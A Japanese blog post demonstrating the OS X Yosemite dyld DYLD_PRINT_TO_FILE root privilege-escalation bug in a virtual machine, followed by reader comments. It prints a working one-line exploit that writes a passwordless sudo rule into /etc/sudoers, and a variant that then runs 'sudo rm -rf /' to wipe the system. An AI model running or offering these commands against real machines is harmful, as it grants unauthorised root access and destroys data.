OS X 10.10.4までに存在するroot権限昇格の脆弱性を使用してYosemiteを「rm -rf /」してみた。

スポンサーリンク

 OS X 10.10.4までに存在する権限昇格の脆弱性を使用してYosemiteを「rm -rf /」してみました。詳細は以下から。

DYLD_PRINT_TO_FILE-Hero

 ドイツのセキュリティ企業”SektionEins”がOS X Yosemiteのdynamic linker dyldに非rootユーザーがroot権限を使用できる権限昇格の脆弱性が存在すると発表し、多くの関連した話題が報じられてきましたが、

関連記事

 特にクリティカルなのが以下の1 Line Codeでこのコードを使用すれば誰もがrootユーザーでのコマンドを実行できます。

echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su

 この記事をまとめたところ、コメント欄「sudo の後に rm -rf / が無いだけ良かった」というアイデアを頂きましたので早速実験してみました。

実験

 実験にはParallels DesktopにインストールしたOS X 10.10.2 Yosemiteを使用しています(追記:10.10.4でも確認いたしました)。実行した1 Line Codeは以下の通りで、実行するとrootパスワードも聞かれずルートディレクトリを消去、

Parallels-Desktop-rm-rf-Yosemite-1

echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo rm -rf /

 rmコマンドは以下の動画のように数分で終了(参考その2)。

 コマンド終了後Parallels Desktop側でYosemiteの仮想環境を強制的にRebootすると以下の様にBootが失敗します。

Parallels-Desktop-rm-rf-Yosemite-2

 その後リカバリーパティッションが起動し、ネットワーク経由でOS X Yosemiteの再インストールが始まります。

Parallels-Desktop-rm-rf-Yosemite-3

 既に多くの開発者やセキュリティ研究家がこの脆弱性をAppleに報告しているようですが、Appleはこの脆弱性を数ヶ月間放置しているというもあるため、修正はOS X 10.10.5以降になると思われるので、逸早く対応したい方はSUIDGuardの使用をお勧めします。

関連リンク:

コメント

  1. Apple7743 より:

    MacってFreeBSDに手を加えすぎて脆弱になってるよね。。。

  2. Apple7743 より:

    元々のUNIXに、Macらしい使い勝手部分をカスタマイズするだけで
    余計なことは一切しない方がセキュリティ的には良かった気がする。
    むしろアップル社の開発能力的にも、現状でも限界がきているような感じですね。

  3. Apple7743 より:

    元々UNIXベースだったとしても、細かい電源管理からGPUのドライブ、ネットワークスタックまできちんとやろうと思うと、独自部分が増えるのはしょうがないかな。そもそもMachカーネル自体が派生版なんだし…
    ただそこを直すというか、ある程度、もう少し寄り添ってもいい気はする。ファイルシステムをZFSにしたり。(iOSとは乖離が大きくなるかもしれないが)

  4. Apple7743 より:

    現実はlibdispatchやらclangやらMacの成果物をFreeBSDが取り込んでいるんだよな。

  5. Apple7743 より:

    大学のシステム管理者が卒倒していそう…

  6. Apple7743 より:

    ※3
    ZFS化の頓挫は残念だったが、ZFSって空き容量が少なくなり断片化も進行すると、ありえんくらいパフォーマンスが低下する欠点がある。でもって、抜本的解決方法が今尚存在しないので、普通の人が使うようなクライアントOSには不向きって判断がなされたんだろうと思う。

  7. Apple7743 より:

    すごくワクワクしながら記事を開いてしまった。最初にpythonでなんかしてるけどこれが脆弱性を引き起こすトリック?
    こんな脆いの?

  8. Apple7744 より:

    これを実行した後今まで通りに直すやり方も教えて欲しいですね